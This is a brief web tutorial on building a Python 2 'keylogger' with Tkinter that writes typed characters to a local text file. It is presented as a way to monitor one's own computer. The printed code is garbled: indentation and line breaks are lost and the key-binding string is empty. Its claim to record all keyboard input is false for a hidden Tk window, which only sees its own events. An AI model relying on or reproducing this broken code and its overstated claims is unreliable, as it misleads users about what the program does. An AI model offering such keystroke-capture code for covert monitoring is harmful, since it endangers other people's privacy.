How to Create a Keylogger Using Python

You can create a keylogger program using Python to capture the keystrokes typed through a computer's keyboard. The keystrokes are saved in a text file, and it records all input. You can use a key logger to monitor activity on your computer.

Woman at computer looking over her shoulder
Capture keystrokes and save them to a file.
credit: Jupiterimages/Photos.com/Getty Images

Step

Launch IDLE, click the “File” menu and select “New Window” to launch a new window. Press Ctrl and S to launch the “Save As” window. Use “getKeyLogger” as the file name and click “Save.”

Step

Add the following line of code to import the “Tkinter” namespace and define the path of the file you want to use to log:

Step

import Tkinter as tk myFile = open("C:/temp/keyFile.txt", "w")

Step

Copy and paste the following code to save every keystroke to the file:

Step

def keypress(event): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write(keyPressed)

Step

Add the following code to let a user know he can start typing, and that he can press Esc to end the program:

Step

main = tk.Tk() print "Press any key (Escape key to exit):" main.bind_all('', keypress) main.withdraw() main.mainloop() myFile.close()

Step

Click the “Windows” start button and type “cmd” in the “search programs and files” box. Press Enter to open the command prompt. Go to “C:\Python\” and type “python getKeyLogger.” Press Enter to run the program. Go to “C:/temp/” and double-click “keyFile.txt" to view keystroke data.